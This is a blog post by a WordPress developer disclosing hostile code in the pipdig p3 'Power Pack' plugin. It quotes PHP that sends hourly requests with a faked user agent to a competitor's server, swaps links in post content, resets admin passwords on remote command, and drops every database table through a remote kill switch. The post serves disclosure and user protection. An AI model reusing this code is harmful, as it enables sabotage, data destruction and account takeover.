I love WordPress. I make my living from it. It’s no exaggeration to say that developing WordPress websites has changed my life: it provides me with an income that pays my mortgage and feeds my babies. However, every now and again something happens in the WordPress community that gets my back up, and this week is no exception.

An unnamed client approached me this week complaining that her website, which was running a theme she’d purchased from a WordPress theme provider, was behaving oddly. Amongst other things, it was getting slower for no obvious reason. As speed is an important ranking factor for search engines (not to mention crucial for retaining visitors) I said I’d do some digging. What I discovered absolutely blew me away; I’ve never seen anything like it.

pipdig, one of the biggest WordPress theme providers to bloggers, is distributing code dressed up as the “pipdig Power Pack” plugin which amongst other things:

is using other blogger’s servers to perform a DDoS on a competitor

is manipulating blogger’s content to change links to competitor WordPress migration services to point to the pipdig site

is harvesting data from blogger’s sites without permission, directly contravening various parts of the GDPR

is using the harvested data to, amongst other things, gain access to blogger’s sites by changing admin passwords

contains a ‘kill switch’ which drops all database tables

deliberately disables other plugins that pipdig has decided are unnecessary, without asking permission

hides admin notices and meta boxes from WordPress core and other plugins from the dashboard, which could contain vital information

Let’s break this down bit by bit.

pipdig p3 plugin performing a DDoS on a competitor

In /p3/inc/cron.php we have the following block of code nested in a function which WP Cron runs every single hour:

// Check CDN cache $url_3 = 'https://pipdigz.co.uk/p3/id39dqm3c0_license_h.txt'; $response = wp_safe_remote_get($url_3, $args); if (!is_wp_error($response) && !empty($response['body'])) { $rcd = trim($response['body']); $args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false); //$check = add_query_arg('n', rand(0,99999), $rcd); wp_safe_remote_get($rcd.'&'.rand(0,99999), $args); }

The code comment tells us this is “checking the CDN (content delivery network) cache”. It’s not. This is performing a GET request on a file (id39dqm3c0_license_h.txt) sat on pipdigz.co.uk, which yesterday morning returned ‘https://kotrynabassdesign.com/wp-admin/admin-ajax.php’ in the response body.

When the response body is not empty, i.e. when it contains that URL, the following code sends a second GET request to the admin-ajax.php URL from the response, with a faked user agent:

$rcd = trim($response['body']); $args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false); wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);

So, every single hour night and day, without any manual intervention, any blogger running the pipdig plugin will send a request with a faked User Agent to ‘https://kotrynabassdesign.com/wp-admin/admin-ajax.php’ with a random number string attached. This is effectively performing a small scale DDoS (Distributed Denial of Service) on kotrynabassdesign.com’s server.

I spoke to Kotryna about these requests to rule out some sort of mutual arrangement with pipdig, and she said:

I actually had huge trouble with my web host and they explained that my admin-ajax.php file was under some kind of attack [..] I can confirm that I have never given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any sort of contact with them.

Further, Kotryna provided me with conversations she had with her host:

Note the quotes from her server log file, in particular the exact User Agent string recorded in the pipdig plugin (‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36’) and the request to admin-ajax.php using a random numbered query string exactly as per the request PHP.

Clarification 2019-03-29 20:00 GMT: Kotryna is the victim of the DDoS-like attack. She is in no way implicated as a co-conspirator in this and has been incredibly helpful in dealing with my enquiries.

The only exception to this DDoSing is for customers of pipdig’s own hosting – because the hourly cron runs this check first:

if (function_exists('pipdighost_admin_footer')) { return; }

…presumably so as not to slow down the pipdig server(s) and to prevent any finger being pointed at customers of theirs.

There is also a second request identical to this in the Once Daily cron, although I’ve not been able to get it to return a URL in the body yet:

$url = 'https://pipdigz.co.uk/p3/id39dqm3c0_license.txt'; $response = wp_safe_remote_get($url, $args); if (!is_wp_error($response) && !empty($response['body'])) { $rcd = trim($response['body']); //$check = add_query_arg('n', rand(0,99999), $rcd); wp_safe_remote_get($rcd.'&'.rand(0,99999), $args); }

Who knows who or what is being spammed by that one.

Next:

pipdig manipulating blogger content for links

In /p3/inc/functions.php, line 307 onwards:

function p3_content_filter($content) { if (get_transient('p3_news_new_user_wait')) { return $content; } elseif (is_single()) { $content = str_replace('bloger'.'ize.com', 'pipdig.co/shop/blogger-to-wordpress-m'.'igration/" data-scope="', $content); $content = str_replace('Blog'.'erize', 'Blog'.'ger to WordPress', $content); } return $content; } add_filter('the_content', 'p3_content_filter', 20);

Here we have pipdig’s plugin searching for mentions of ‘blogerize.com‘ with the string split in two and rejoined – concatenated – to make it harder to find mentions of competitors when doing a mass ‘Find in Files’ across the plugin (amongst other things). When the plugin finds links to blogerize.com in blogger’s content (posts, pages), they’re swapped out with a link to ‘pipdig.co/shop/blogger-to-wordpress-migration/’ i.e. pipdig’s own blog migration services. Swapping these links out boost the SEO benefit to pipdig, and the vast majority of bloggers wouldn’t notice the switcheroo (especially as if the page/post was edited, the link to blogerize would appear in the backend as normal).

pipdig harvesting data & changing admin passwords

Back to /p3/inc/cron.php and the Once Hourly job:

$me = get_site_url(); // Check for new social channels to add to navbar etc if (!get_transient('p3_news_new_user_wait')) { $url = 'https://pipdigz.co.uk/p3/socialz.txt'; $args = array('timeout' => 4); $response = wp_safe_remote_get($url, $args); if (!is_wp_error($response) && !empty($response['body'])) { if (email_exists(sanitize_email($response['body']))) { p3_check_social_links(email_exists(sanitize_email($response['body']))); wp_safe_remote_get('https://pipdigz.co.uk/p3/socialz.php?list='.rawurldecode($me), $args); } } }

Here the code comment tells us this piece of code will ‘Check for new social channels to add to navbar etc’. Again, blatant lies. This code performs a GET request on https://pipdigz.co.uk/p3/socialz.txt which is expecting an email address in the response. When an email address is ‘received’ in GET request body, the function checks for the existence of that email address in the Users table, runs its own ‘p3_check_social_links’ function against it and then records the site URL (contained in $me) using a script at https://pipdigz.co.uk/p3/socialz.php.

p3_check_social_links(), despite its name, is a wrapper for a function in /p3/inc/functions.php line 195 which changes the user password to ‘p3_safe_styles’. In plain English: when the cron runs it checks for an email address in socialz.txt. If that email address exists, it changes the password to that account and logs your URL in socialz.php to allow access to whomever has access to that file. If your admin email address were returned by socialz.txt you would be chucked out of your admin account.

One blogger argued that this could be used to provide blogger support to pipdig users. While that this is feasibly the case, it’s an entirely unsavoury way of going about it for any of the following reasons:

It’s a backdoor which can be activated at any time (not just when support is required).

We don’t know who has access to that data: big corporations can’t keep user passwords secret, why should we trust pipdig?

There are ways and means to support WordPress users without resetting their password.

This could easily be hijacked for malicious means

The password is right there in plain text; I could monitor the socialz.txt file for a response and with a bit of Googling easily find out the corresponding blogs to email addresses and gain access with the insecure password.

Not done yet; a little further down cron.php a function runs to harvest a list of URLs of customers from another competitor, lyricalhost.com:

if (!get_option('p3_check_linkded')) { $error_src = parse_url($me, PHP_URL_HOST); $dns = dns_get_record($error_src, DNS_NS); if ((isset($dns[0]['target']) && (strpos($dns[0]['target'], 'l'.'yr'.'i'.'calhost'.'.co'.'m') !== false)) || (isset($dns[1]['target']) && (strpos($dns[1]['target'], 'ly'.'ri'.'calhost'.'.co'.'m') !== false)) ) { wp_safe_remote_get('https://pipdigz.co.uk/p3/list.php?list='.rawurldecode($me), $args); update_option('p3_check_linkded', 1); } }

Again, note the concatenation of strings to make it hard to find references to this particular host. Next…

pipdig contains a kill switch which wipes blogs

And now for the particularly nasty one: in /p3/inc/cron.php we have the following:

$url_2 = 'https://pipdigz.co.uk/p3/id39dqm3c0.txt'; $response = wp_safe_remote_get($url_2, $args); if (!is_wp_error($response) && !empty($response['body'])) { if ($me === trim($response['body'])) { global $wpdb; $prefix = str_replace('_', '\_', $wpdb->prefix); $tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'"); foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); } } }

This code performs a GET request on ‘https://pipdigz.co.uk/p3/id39dqm3c0.txt’. If it returns a blog URL which matches yours, it looks for all tables with the WordPress prefix and drops them one by one. In other words, if your site is on his kill list, you can kiss goodbye to every post, page, plugin/general settings, widget contents, theme customisations, any form data or miscellaneous content. Bang, gone, goodbye. When was the last time you took a full back-up of your WordPress database?

pipdig disabling plugins it deems unnecessary

Straight up rude, in /p3/p3.php upon plugin activation the plugin deactivates a whole host of plugins without asking:

$plugins = array( 'wd-instagram-feed/wd-instagram-feed.php', 'instagram-slider-widget/instaram_slider.php', 'categories-images/categories-images.php', 'mojo-marketplace-wp-plugin/mojo-marketplace.php', 'mojo-marketplace-hg/mojo-marketplace.php', 'autoptimize/autoptimize.php', 'heartbeat-control/heartbeat-control.php', 'instagram-slider-widget/instaram_slider.php', 'vafpress-post-formats-ui-develop/vp-post-formats-ui.php', 'advanced-excerpt/advanced-excerpt.php', 'force-regenerate-thumbnails/force-regenerate-thumbnails.php', 'jch-optimize/jch-optimize.php', 'rss-image-feed/image-rss.php', 'wpclef/wpclef.php', 'wptouch/wptouch.php', 'hello-dolly/hello.php', 'theme-test-drive/themedrive.php', ); deactivate_plugins($plugins);

Further down, another bunch are deactivated but this time on admin_init, which would run every time you load a backend panel, making it possible to ever re-enable them while you were running pipdig’s plugin:

// Don't allow some plugins. Sorry not sorry. function p3_trust_me_you_dont_want_this() { $plugins = array( 'query-strings-remover/query-strings-remover.php', // Stop removing query strings. They're an important part of WP and keeping the site working correctly with caching. 'remove-query-strings-from-static-resources/remove-query-strings.php', 'scripts-to-footer/scripts-to-footer.php', // Scripts must also be located in the so the widgets can render correctly. 'fast-velocity-minify/fvm.php', 'contact-widgets/contact-widgets.php', // Font awesome 5 breaks other icons 'theme-check/theme-check.php', // our themes aren't designed for the w.org repo 'wp-support/index.php' // malware? ); deactivate_plugins($plugins); } add_action('admin_init', 'p3_trust_me_you_dont_want_this');

—

Some of this is ethically questionable behaviour from a major provider of WordPress themes but could maybe be summarised as “you pay your money, you takes your chances” as is the norm in the WordPress paid eco-system, but I can’t think of a single legitimate reason for DDoSing competitors and running DROP TABLES on random blogs.

Important note: I wrote this post yesterday, and hung on to it while I sought advice from a third party. Overnight, pipdig released a plugin update removing the relevant code from circulation. I assume his server logs recorded my requests/tests yesterday to the files listed. These problems apply to version 4.7.3 which you can download here to verify my claims.

Because pipdig is using a third party updater rather than distributing his plugin/themes via WordPress, he could feasibly roll an update out at any time re-implementing the code that’s been removed, and worse. While this is a theoretical risk associated with all providers who sell themes and plugins away from the WordPress theme & plugin directories, I’m not aware of any other provider actively misusing the platform in this way.

If you’re affected by this, i.e. you have a pipdig theme/plugin, particularly if you’re running version 4.7.3 or earlier of the p3 power pack, I recommend the following steps:

Back-up your WordPress files & database

Activate an alternate theme

Deactivate and remove the p3 power pack plugin & any supplementary plugins it bundles with

Check for any users you don’t recognise and remove them

Reset your admin password(s)

Install WP Crontrol or similar cron management plugin, and remove any cron jobs named p3_

Back-up your WordPress files & database again

Alternatively, your host may be able to assist you with moving away from pipdig or removing traces of the code from your server.

UPDATE 2019-03-29 23:32 GMT: link to Kotryna’s site removed at her request

Jem Turner jem@jemjabella.co.uk +44(0)7521056376